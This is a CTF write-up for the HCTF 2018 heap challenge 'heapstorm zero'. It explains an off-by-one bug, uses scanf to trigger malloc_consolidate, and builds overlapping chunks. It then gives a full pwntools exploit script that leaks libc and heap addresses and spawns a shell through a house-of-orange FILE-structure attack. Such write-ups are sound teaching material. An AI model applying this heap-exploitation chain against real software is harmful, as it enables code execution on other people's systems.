Hctf 2018 heapstorm zero
10 November 2018Hi, I am Ne0. This weekend my team Eur3kA
played HCTF 2018
and won the champion for a second time! I was really proud of my teammates(We solved all the binary challenges!). As this challenge is solved by only 3 teams, I decided to write a writeup for it.
Program
The challenge can be download in my Github repo
The logic of this program is evident. You can allocate
, view
and delete
chunks that are less or equal than size 0x40
.
===== (fake) HEAP STORM ZERO =====
1. Allocate
2. View
3. Delete
4. Exit
Choice:
The version of the libc
is 2.23
Vulnerability
The only bug off by one
is in readn
function.
Solution
It seems impossible to solve it at the first glance, because we have only fastbin chunks
, and off by one
just change the size to 0
, which is never a valid size.
But Wait. Why does it use scanf
and a self-written getint
function to get an integer from stdin
? Well , it turns out that the scanf
is the key to solve this challenge!
When you input a very long string to scanf
, it will malloc a buffer to handle it. For example, if I input 'A'*0x500
when it is calling scanf("%d",&choice)
,it will call malloc(0x800)
. Well, this is a largebin chunk
and it will trigger malloc_consolidate
!
So the exploitation includes the following steps:
- make lots of freed
fastbin chunks
, - trigger
malloc_consolidate
to make largerunsortedbin
chunksA
. - use
off by one
to shrink the size of the freedunsortebin chunk
, this will cause its next chunkB
fail to update itsprev size
- Try to merge the
B
.B
should be afastbin chunk
. To merge it, we just need to free it and triggermalloc_consolidate
again - Now you have
overlapped chunks
. Leak and exploit ! In my exploit script, I usehouse of orange
to get a shell.
Exploit
from pwn import *
local=0
pc='./heapstorm_zero'
remote_addr=['150.109.44.250',20001]
aslr=False
context.log_level=True
context.terminal=['tmux','split','-h']
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("Choice:",str(idx))
def add(size,content):
choice(1)
sla(":",str(size))
sa(":",content)
def view(idx):
choice(2)
sla(":",str(idx))
def free(idx):
choice(3)
sla(":",str(idx))
if __name__ == '__main__':
sla("token:","DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j")
# Produce some freed chunks
add(0x18,"AAA\n")
for i in range(24):
add(0x38,"A"*8+str(i)+"\n")
free(0)
free(4)
free(5)
free(6)
free(7)
free(8)
free(9)
# Trigger malloc consolidate
sla("Choice:","1"*0x500)
# shrink the size
add(0x38,"B"*0x30+p64(0x120))
add(0x38,"C"*0x30+p32(0x40)+'\n')
add(0x38,"P"*0x30+'\n')
free(4)
# merge it
sla("Choice:","1"*0x500)
free(10)
sla("Choice:","1"*0x500)
#Leak address
add(0x38,"DDD\n")
add(0x38,"KKK\n")
add(0x38,"EEE\n")
view(5)
ru("Content: ")
libc_addr=raddr(6)-0x3c4b78
libc.address=libc_addr
lg("libc addr",libc_addr)
add(0x38,"GGG\n")
free(10)
free(11)
free(5)
view(8)
ru("Content: ")
heap=raddr(6)-0x2a0
lg("heap addr",heap)
# Fake a file struct to use house of orange
for i in range(6):
free(23-i)
fake_struct="/bin/sh\x00"+p64(0x61)+p64(0)+p64(heap+0x430)+p64(0)+p64(1)
add(0x38,fake_struct+'\n')
free(17)
add(0x38,p64(0)+p64(0x31)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,'\x00'*0x30+'\n')
add(0x38,p64(0)*3+p64(heap+0x2b0)+'\n')
# Faking vtable. Well I wrote this scipt in 30 mins, so it sucks
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x38,p64(libc.symbols['system'])*6+'\n')
add(0x28,"DDD\n")
add(0x28,p64(0)+p64(0x41)+"\n")
free(6)
add(0x38,p64(0)*3+p64(0xa1)+p64(0)+p64(heap+0x470)+'\n')
add(0x28,'aa'+'\n')
# you need to allocate one more chunk to trigger house of orange
p.interactive()
Last
Well, if you like this writeup, please follow me on Github. And if you have any better solutions , please share it with me!